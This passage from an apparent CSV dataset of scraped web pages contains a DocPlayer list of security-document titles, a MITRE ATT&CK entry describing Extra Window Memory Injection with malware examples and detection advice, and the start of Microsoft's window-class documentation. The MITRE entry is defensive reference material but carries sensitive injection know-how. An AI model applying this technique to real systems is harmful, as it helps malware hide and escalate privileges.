in Sauce s infrastructure and Sauce Connect Security in the Sauce Labs Cloud Practices and protocols used in Sauce s infrastructure and Sauce Connect Table of Contents page 2 page 4 page 6 page 8 page 9 page 10 page 11 Overview I. Sauce Labs Data More information Windows Attack - Gain Enterprise Admin Privileges in 5 Minutes Windows Attack - Gain Enterprise Admin Privileges in 5 Minutes Compass Security AG, Daniel Stirnimann Compass Security AG Gl\xc3\xa4rnischstrasse 7 Postfach 1628 CH-8640 Rapperswil Tel +41 55-214 41 60 Fax +41 More information Managing Local Administrator Passwords with LAPS 10/14/2015 PENN STATE SECURITY CONFERENCE Managing Local Administrator Passwords with LAPS 2015 PENN STATE SECURITY CONFERENCE DAN BARR DRB45@PSU.EDU SYSTEMS ADMINISTRATOR, APPLIED RESEARCH LABORATORY The Shared Password Threat Shared passwords More information Online Payments Threats July 3, 2012 Introduction...2 Tested Products...2 Used Configuration...3 Real Malware Inspiration...3 Total Scores Chart...4 Conclusion...4 About matousec.com...4 Detailed Descriptions of Tests...5 Detailed More information Sophos Mobile Control Technical guide Sophos Mobile Control Technical guide Product version: 2 Document date: December 2011 Contents 1. About Sophos Mobile Control... 3 2. Integration... 4 3. Architecture... 6 4. Workflow... 12 5. Directory More information Training module 2 Installing VMware View Training module 2 Installing VMware View In this second module we ll install VMware View for an End User Computing environment. We ll install all necessary parts such as VMware View Connection Server and More information Security. Ausgew\xc3\xa4hlte Betriebssysteme Institut Betriebssysteme Fakult\xc3\xa4t Informatik. Copyright 2001-2004 Hermann H\xc3\xa4rtig, Ronald Aigner Ausgew\xc3\xa4hlte Betriebssysteme Institut Betriebssysteme Fakult\xc3\xa4t Informatik Outline Ratings System Components Logon Object (File) Access Impersonation Auditing 2 Ratings National Computer Center (NCSC) part More information Exchange 2013 mailbox setup guide Fasthosts Customer Support Exchange 2013 mailbox setup guide This article covers the setup of Exchange 2013 mailboxes in Microsoft Outlook 2013, 2010 and Outlook 2011 for Mac. Contents Exchange 2013 Mailbox More information ViPNet ThinClient 3.3. Quick Start ViPNet ThinClient 3.3 Quick Start 1991 2014 Infotecs Americas. All rights reserved. Version: 00060-07 34 02 ENU This document is included in the software distribution kit and is subject to the same terms More information Hosts HARDENING WINDOWS NETWORKS TRAINING BROADVIEW NETWORKS Hosts HARDENING WINDOWS NETWORKS TRAINING COURSE OVERVIEW A hands-on security course that teaches students how to harden, monitor and protect Microsoft Windows based networks. A hardening More information CMB 207 1I Citrix XenApp and XenDesktop Fast Track CMB 207 1I Citrix XenApp and XenDesktop Fast Track This fast paced course provides the foundation necessary for students to effectively centralize and manage desktops and applications in the datacenter More information Agenda. How to configure dlaw@esri.com Agenda Strongly Recommend: Knowledge of ArcGIS Server and Portal for ArcGIS Security in the context of ArcGIS Server/Portal for ArcGIS Access Authentication Authorization: securing web services More information How to Efficiently Protect Active Directory from Credential Theft & Large Scale Compromise How to Efficiently Protect Active Directory from Credential Theft & Large Scale Compromise An Approach Based on Real-World Expertise Friedwart Kuhn, fkuhn@ernw.de Digital unterschrieben von Friedwart Kuhn More information Computer Security: Principles and Practice Computer Security: Principles and Practice Chapter 24 Windows and Windows Vista Security First Edition by William Stallings and Lawrie Brown Lecture slides by Lawrie Brown Windows and Windows Vista Security More information WINDOWS REGISTRY AUDITING CHEAT SHEET - Win 7/Win 2008 or later This Windows Registry Auditing Cheat Sheet is intended to help you get started with basic and necessary Registry Auditing. This cheat sheet includes some very common items that should have auditing enabled, More information TZWorks Windows Event Log Viewer (evtx_view) Users Guide TZWorks Windows Event Log Viewer (evtx_view) Users Guide Abstract evtx_view is a standalone, GUI tool used to extract and parse Event Logs and display their internals. The tool allows one to export all More information Speedy Organizer. SQL Server 2008 R2 RTM Express - Installation Guide Introduction Speedy Organizer SQL Server 2008 R2 RTM Express - Installation Guide Introduction Contents Revision table... 1 1 Introduction... 2 2 SQL Server 2008 Express installation... 2 2.1 Installation... 2 3 Post More information Use Enterprise SSO as the Credential Server for Protected Sites Webthority HOW TO Use Enterprise SSO as the Credential Server for Protected Sites This document describes how to integrate Webthority with Enterprise SSO version 8.0.2 or 8.0.3. Webthority can be configured More information SharePoint 2013 Logical Architecture SharePoint 2013 Logical Architecture This document is provided ""as-is"". Information and views expressed in this document, including URL and other Internet Web site references, may change without notice. More information Securing ArcGIS Server Services: First Steps Federal GIS Conference February 9 10, 2015 Washington, DC Securing ArcGIS Server Services: First Steps Michael Sarhan Esri msarhan@esri.com Agenda Review Basic Security Workflow ArcGIS Server Roles and More information MCTS Guide to Microsoft Windows 7. Chapter 7 Windows 7 Security Features MCTS Guide to Microsoft Windows 7 Chapter 7 Windows 7 Security Features Objectives Describe Windows 7 Security Improvements Use the local security policy to secure Windows 7 Enable auditing to record security More information 7.0 Self Service Guide 7.0 Self Service Guide Copyright 2010 Sage Technologies Limited, publisher of this work. All rights reserved. No part of this documentation may be copied, photocopied, reproduced, translated, microfilmed, More information 304 - APM TECHNOLOGY SPECIALIST ABOUT THE 304-APM TECHNOLOGY SPECIALIST EXAM. The 304-APM Technology Specialist exam is the required to achieve Certified F5 Technology Specialist, APM status. Successful completion of the APM Technology More information CXD-202-1 Citrix XenDesktop 5 Administration CXD-202-1 Citrix XenDesktop 5 Administration This course provides the foundation necessary for administrators to effectively centralize and manage desktops in the datacenter and deliver them as a service More information Information Assurance Directorate National Security Agency/Central Security Service Information Assurance Directorate Reducing the Effectiveness of Pass-the-Hash November 19, 2013 Revision 1 A product of the Network Components and Applications More information New Zealand National Cyber Security Centre Unclassified New Zealand National Cyber Security Centre Application Whitelisting With Microsoft Applocker June 2012 V1.0.5 Application Whitelisting with Microsoft Applocker Cyber Security Plan As outlined More information Check list for web developers Check list for web developers Requirement Yes No Remarks 1. Input Validation 1.1) Have you done input validation for all the user inputs using white listing and/or sanitization? 1.2) Does the input validation More information Security in the Sauce Labs Cloud SAUCE LABS REPORT Security in the Sauce Labs Cloud Practices and protocols used in Sauce s infrastructure and Sauce Connect Overview It s impossible to deny that in this day and age internet security should More information Hi and welcome to the Microsoft Virtual Academy and Hi and welcome to the Microsoft Virtual Academy and 2012 Microsoft Corporation 1 the start of the Windows 8 Security Insights training. My name is Milad Aslaner I m part of the Premier Field Engineering More information Overview Windows NT 4.0 Security Cryptography SSL CryptoAPI SSPI, Certificate Server, Authenticode Firewall & Proxy Server IIS Security IE Security Overview Windows NT 4.0 Security Cryptography SSL CryptoAPI SSPI, Certificate Server, Authenticode Firewall & Proxy Server IIS Security IE Security Ch 7 - Security 1 Confidentiality and privacy: Protect More information End User Devices Security Guidance: Apple OS X 10.10 GOV.UK Guidance End User Devices Security Guidance: Apple OS X 10.10 Published Contents 1. Changes since previous guidance 2. Usage scenario 3. Summary of platform security 4. How the platform can best More information Introductions. Christopher Cognetta Practice Manager Client Field Engineering Microsoft Dynamics CRM MVP chris.cognetta@tribridge. Hosted by Introductions Christopher Cognetta Practice Manager Client Field Engineering Microsoft Dynamics CRM MVP chris.cognetta@tribridge.com CRMUG Chairperson Miami & Tampa Co Chair 250+ Dynamics CRM More information Windows Server 2008/2012 Server Hardening Account Policies Enforce password history 24 Maximum Password Age - 42 days Minimum Password Age 2 days Minimum password length - 8 characters Password Complexity - Enable Store Password using Reversible More information SQL Server 2008 Express - Installation Guide SQL Server 2008 Express - Installation Guide SQL Server 2008 Express - Installation Guide Page 2 Introduction Contents Revision table... 2 1 Introduction... 3 2 SQL Server 2008 Express installation... More information Table of Contents. Headquarters Cary, NC USA US 1-866-538-3588. Fax 1-919-380-5121 International 1-919-380-5000 Desktop Automation Table of Contents Easy Automation for the Contact Center and Back Office... 3 Use Cases... 3 Activity Intelligence + Automation... 4 Cicero Discovery Automation Architecture... 5 Cicero More information Course Description. Course Audience. Course Outline. Course Page - Page 1 of 12 Course Page - Page 1 of 12 Windows 7 Enterprise Desktop Support Technician M-50331 Length: 5 days Price: $2,795.00 Course Description This five-day instructor-led course provides students with the knowledge More information Securing Administrator Access to Internal Windows Servers Securing Administrator Access to Internal Windows Servers Contents 1. Introduction... 3 2. PKI implementation... 3 Require two-factor authentication for computers... 3 Require two-factor authentication More information DRIVE-BY DOWNLOAD WHAT IS DRIVE-BY DOWNLOAD? A Typical Attack Scenario DRIVE-BY DOWNLOAD WHAT IS DRIVE-BY DOWNLOAD? Drive-by Downloads are a common technique used by attackers to silently install malware on a victim s computer. Once a target website has been weaponized with More information By Skip Duckwall and Chris Campbell By Skip Duckwall and Chris Campbell for Blackhat USA 2013 Introduction User credentials are one of the most powerful items an attacker can obtain. Single-factor, or passwordbased credentials are dangerous More information TLP: GREEN FBI. FBI Liaison Alert System # A-000049-MW Liaison Alert System # A-000049-MW The following information was obtained through investigation and is provided in conjunction with the s statutory requirement to conduct victim notification as outlined More information GRAVITYZONE HERE. Deployment Guide VLE Environment GRAVITYZONE HERE Deployment Guide VLE Environment LEGAL NOTICE All rights reserved. No part of this document may be reproduced or transmitted in any form or by any means, electronic or mechanical, including More information PowerShell for Penetration Testers Training: PowerShell for Penetration Testers Dates of the training: March 14-15,2016 in Heidelberg, Germany Book Now using the code: TR16HMTRAINING and save an additional 10% of the current valid rate! More information NNT CIS Microsoft Windows Server 2008 R2 Benchmark Level 1 Member Server v2-1-0-2 NNT CIS Microsoft Windows Server 2008 R2 Benchmark Level 1 Member Server v2-1-0-2: NNTDC01 On NNTDC01 - By admin for time period 5/23/2014 8:49:51 AM to 5/23/2014 8:49:51 AM NNT CIS Microsoft Windows Server More information Citrix Netscaler Advanced guide for SMS PASSCODE SMS PASSCODE 2014 Citrix Netscaler Advanced guide for SMS PASSCODE SMS PASSCODE 2014 Citrix Netscaler Advanced guide for SMS PASSCODE. This document outlines configuration scenarios with SMS PASSCODE and Citrix Netscaler. More information Integrating Web Application Security into the IT Curriculum Integrating Web Application Security into the IT Curriculum James Walden Northern Kentucky University Topics 1. 2. 3. 4. Why should we teach web application security? What material do we need to cover? More information BUILDING SECURITY IN. Analyzing Mobile Single Sign-On Implementations BUILDING SECURITY IN Analyzing Mobile Single Sign-On Implementations Analyzing Mobile Single Sign-On Implementations 1 Introduction Single sign-on, (SSO) is a common requirement for business-to-employee More information BYOD Guidance: BlackBerry Secure Work Space GOV.UK Guidance BYOD Guidance: BlackBerry Secure Work Space Published 17 February 2015 Contents 1. About this guidance 2. Summary of key risks 3. Secure Work Space components 4. Technical assessment 5. More information Professional Mailbox Email Software Setup Guide Professional Mailbox Email Software Setup Guide Table of contents Download and Install Microsoft Outlook 2010 or 2011... 2 Enabling access from email software... 4 Setting up Outlook 2010... 6 Before you More information Security IIS Service Lesson 6 Security IIS Service Lesson 6 Skills Matrix Technology Skill Objective Domain Objective # Configuring Certificates Configure SSL security 3.6 Assigning Standard and Special NTFS Permissions Enabling and More information Sage Accpac CRM 5.8. Self Service Guide Sage Accpac CRM 5.8 Self Service Guide Copyright 2005 Sage Technologies Limited, publisher of this work. All rights reserved. No part of this documentation may be copied, photocopied, reproduced, translated, More information Folder Proxy + OWA + ECP/EAC Guide. Version 2.0 April 2016 Version 2.0 April 2016 Folder Proxy + OWA + ECP/EAC Guide Copyright 2016 iwebgate. All Rights Reserved. No part of this publication may be reproduced, transmitted, transcribed, stored in a retrieval system, More information Five Steps to Improve Internal Network Security. Chattanooga Information security Professionals Five Steps to Improve Internal Network Security Chattanooga Information security Professionals Who Am I? Security Analyst: Sword & Shield Blogger: averagesecurityguy.info Developer: github.com/averagesecurityguy More information White Paper. Deploying EUM. SurfControl Web Filter for MS Windows. rev. 1.1, January 2005. Enterprise Threat Protection White Paper Deploying EUM SurfControl Web Filter for MS Windows rev. 1.1, January 2005 Enterprise Threat Protection ..... ACKNOWLEDGEMENTS SurfControl wishes to acknowledge the following people for their More information Implementation Guide SAP NetWeaver Identity Management Identity Provider Implementation Guide SAP NetWeaver Identity Management Identity Provider Target Audience Technology Consultants System Administrators PUBLIC Document version: 1.10 2011-07-18 Document History CAUTION Before More information Security Options... 1 Effective Server Security Options Period: Last 20 week(s) Generated: For: Brian Bartlett bbartlett@ecora.com By: Ecora Auditor Professional 4.5 - Windows Module 4.5.8010.20310 Using: Customized FFR Definition More information Administering a SQL Database Infrastructure Administering a SQL Database Infrastructure 20764A 5 Days Instructor-led, Hands on Course Information This five-day instructor-led course provides students who administer and maintain SQL Server databases More information Oracle Database 11g: Security Release 2 Oracle University Contact Us: 1.800.529.0165 Oracle Database 11g: Security Release 2 Duration: 5 Days What you will learn In this course, you'll learn how to use Oracle Database features to meet the security, More information Administering a SQL Database Infrastructure 20764; 5 Days; Instructor-led Administering a SQL Database Infrastructure 20764; 5 Days; Instructor-led Course Description This five-day instructor-led course provides students who administer and maintain SQL Server databases with More information Microsoft 20764 - Administering a SQL Database Infrastructure 1800 ULEARN (853 276) www.ddls.com.au Microsoft 20764 - Administering a SQL Database Infrastructure Length 5 days Price $4169.00 (inc GST) Version A Overview This five-day instructor-led course provides More information WHITE PAPER AUGUST 2014 THE DEFINITIVE GUIDE TO CLOUD ACCESS SECURITY BROKERS WHITE PAPER AUGUST 2014 For many enterprises, security and compliance concerns hamper adoption of cloud applications. Furthermore, cloud applications More information BIG-IP Access Policy Manager Tech Note for BIG-IP Edge Client App for ios BIG-IP Access Policy Manager Tech Note for BIG-IP Edge Client App for ios 2 OpenTopic TOC Contents What is BIG-IP Edge Client app for ios?... 3 About supported authentication types... 3 About establishing More information Cloud Security Through Threat Modeling. Robert M. Zigweid Director of Services for IOActive Cloud Security Through Threat Modeling Robert M. Zigweid Director of Services for IOActive 1 Key Points Introduction Threat Model Primer Assessing Threats Mitigating Threats Sample Threat Model Exercise More information Guidance End User Devices Security Guidance: Apple OS X 10.9 GOV.UK Guidance End User Devices Security Guidance: Apple OS X 10.9 Published 23 January 2014 Contents 1. Changes since previous guidance 2. Usage Scenario 3. Summary of Platform Security 4. How the Platform More information Guidance End User Devices Security Guidance: Apple ios 7 GOV.UK Guidance End User Devices Security Guidance: Apple ios 7 Updated 10 June 2014 Contents 1. Changes since previous guidance 2. Usage Scenario 3. Summary of Platform Security 4. How the Platform Can More information MS-10775: Administering Microsoft SQL Server 2012 Databases. Course Objectives. Required Exam(s) Price. Duration. Methods of Delivery. MS-10775: Administering Microsoft SQL Server 2012 Databases This five-day instructor led course provides students with the knowledge and skills to maintain a Microsoft SQL Server 2012 database. The course More information User Identification (User-ID) Tips and Best Practices User Identification (User-ID) Tips and Best Practices Nick Piagentini Palo Alto Networks www.paloaltonetworks.com Table of Contents PAN-OS 4.0 User ID Functions... 3 User / Group Enumeration... 3 Using More information Five Steps to Improve Internal Network Security. Chattanooga ISSA Five Steps to Improve Internal Network Security Chattanooga ISSA 1 Find Me AverageSecurityGuy.info @averagesecguy stephen@averagesecurityguy.info github.com/averagesecurityguy ChattSec.org 2 Why? The methodical More information Commercially Proven Trusted Computing Solutions RSA 2010 Commercially Proven Trusted Computing Solutions RSA 2010 Hardware Self-Encrypting Drives (SEDs) Unique Security Features Encryption below the file system Hardware root-of-trust for encryption Tamper resistant More information ArcGIS Server Security Threats & Best Practices 2014. David Cordes Michael Young ArcGIS Server Security Threats & Best Practices 2014 David Cordes Michael Young Agenda Introduction Threats Best practice - ArcGIS Server settings - Infrastructure settings - Processes Summary Introduction More information Windows Security Environment Motivation Popularity, widespread use of Windows Big surface, big impact Protection via user/kernel architecture and CPU modes Multiple-users environment, same physical resources Easy to install < security More information EASTERN ARIZONA COLLEGE Web Server Administration EASTERN ARIZONA COLLEGE Web Server Administration Course Design 2010-2011 Course Information Division Business Course Number CMP 256 Title Web Server Administration Credits 3 Developed by Michael Rose More information ""Charting the Course... Implementing Citrix NetScaler 11 for App and Desktop Solutions CNS-207 Course Summary Course Summary Description The objective of this course is to provide the foundational concepts and teach the skills necessary to implement, configure, secure and monitor a Citrix NetScaler system with More information PowerShell Configuration Guide PowerShell Configuration Guide Table of Contents Windows PowerShell 2 Prerequisites... 3 IIS Settings... 3 ActiveSync Server PowerShell Connection Settings... 8 NotifyMDM Version 3.x Windows PowerShell More information 2019 \xc2\xa9 DocPlayer.net Privacy Policy | Terms of Service | Feedback To make this website work, we log user data and share it with processors. To use this website, you must agree to our Privacy Policy, including cookie policy. I agree.\xc2 \xc2 \xc2 \xc2","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Extra Window Memory Injection - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Extra Window Memory Injection Extra Window Memory Injection Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). [1] Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. [2] [3] Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\xe2\x80\x99s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\xe2\x80\x99s EWM. Execution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. [4] More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. [5] [6] ID:\xc2 T1181 Tactic: Defense Evasion, Privilege Escalation Platform:\xc2 Windows Permissions Required:\xc2 Administrator, SYSTEM Data Sources:\xc2 API monitoring, Process monitoring Defense Bypassed:\xc2 Anti-virus, Host intrusion prevention systems, Data Execution Prevention Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description Epic Epic has overwritten the function pointer in the extra window memory of Explorer's Shell_TrayWnd in order to execute malicious code in the context of the explorer.exe process. Power Loader Power Loader overwrites Explorer\xe2\x80\x99s Shell_TrayWnd extra window memory to redirect execution to a NTDLL function that is abused to assemble and execute a return-oriented programming (ROP) chain and create a malicious thread within Explorer.exe. [5] [6] Detection Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong [2] and SetWindowLong [3]. Malware associated with this technique have also used SendNotifyMessage [7] to trigger the associated window procedure and eventual malicious injection. [4] References Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017. Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017. Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017. Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017. MalwareTech. (2013, August 13). PowerLoader Injection \xe2\x80\x93 Something truly amazing. Retrieved December 16, 2017. Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017. Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"About Window Classes - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents About Window Classes 05/31/2018 16 minutes to read In this article Each window class has an associated window procedure shared by all windows of the same class. The window procedure processes messages for all windows of that class and therefore controls their behavior and appearance. For more information, see Window Procedures. A process must register a window class before it can create a window of that class. Registering a window class associates a window procedure, class styles, and other class attributes with a class name. When a process specifies a class name in the CreateWindow or CreateWindowEx function, the system creates a window with the window procedure, styles, and other attributes associated with that class name. This section discusses the following topics. Types of Window Classes System Classes Application Global Classes Application Local Classes How the System Locates a Window Class Registering a Window Class Elements of a Window Class Class Name Window Procedure Address Instance Handle Class Cursor Class Icons Class Background Brush Class Menu Class Styles Extra Class Memory Extra Window Memory Types of Window Classes There are three types of window classes: System Classes Application Global Classes Application Local Classes These types differ in scope and in when and how they are registered and destroyed. System Classes A system class is a window class registered by the system. Many system classes are available for all processes to use, while others are used only internally by the system. Because the system registers these classes, a process cannot destroy them. The system registers the system classes for a process the first time one of its threads calls a User or a Windows Graphics Device Interface (GDI) function. Each application receives its own copy of the system classes. All 16-bit Windows-based applications in the same VDM share system classes, just as they do on 16-bit Windows. The following table describes the system classes that are available for use by all processes. Class Description Button The class for a button. ComboBox The class for a combo box. Edit The class for an edit control. ListBox The class for a list box. MDIClient The class for an MDI client window. ScrollBar The class for a scroll bar. Static The class for a static control. \xc2 The following table describes the system classes that are available only for use by the system. They are listed here for completeness sake. Class Description ComboLBox The class for the list box contained in a combo box. DDEMLEvent The class for Dynamic Data Exchange Management Library (DDEML) events. Message The class for a message-only window. #32768 The class for a menu. #32769 The class for the desktop window. #32770 The class for a dialog box. #32771 The class for the task switch window. #32772 The class for icon titles. \xc2 Application Global Classes An application global class is a window class registered by an executable or DLL that is available to all other modules in the process. For example, your .dll can call the RegisterClassEx function to register a window class that defines a custom control as an application global class so that a process that loads the .dll can create instances of the custom control. To create a class that can be used in every process, create the window class in a .dll and load the .dll in every process. To load the .dll in every process, add its name to the AppInit_DLLs value in following registry key: HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Whenever a process starts, the system loads the specified .dll in the context of the newly started process before calling its entry-point function. The .dll must register the class during its initialization procedure and must specify the CS_GLOBALCLASS style. For more information, see Class Styles. To remove an application global class and free the storage associated with it, use the UnregisterClass function. Application Local Classes An application local class is any window class that an executable or .dll registers for its exclusive use. Although you can register any number of local classes, it is typical to register only one. This window class supports the window procedure of the application's main window. The system destroys a local class when the module that registered it closes. An application can also use the UnregisterClass function to remove a local class and free the storage associated with it. How the System Locates a Window Class The system maintains a list of structures for each of the three types of window classes. When an application calls the CreateWindow or CreateWindowEx function to create a window with a specified class, the system uses the following procedure to locate the class. Search the list of application local classes for a class with the specified name whose instance handle matches the module's instance handle. (Several modules can use the same name to register local classes in the same process.) If the name is not in the application local class list, search the list of application global classes. If the name is not in the application global class list, search the list of system classes. All windows created by the application use this procedure, including windows created by the system on the application's behalf, such as dialog boxes. It is possible to override system classes without affecting other applications. That is, an application can register an application local class having the same name as a system class. This replaces the system class in the context of the application but does not prevent other applications from using the system class. Registering a Window Class A window class defines the attributes of a window, such as its style, icon, cursor, menu, and window procedure. The first step in registering a window class is to fill in a WNDCLASSEX structure with the window class information. For more information, see Elements of a Window Class. Next, pass the structure to the RegisterClassEx function. For more 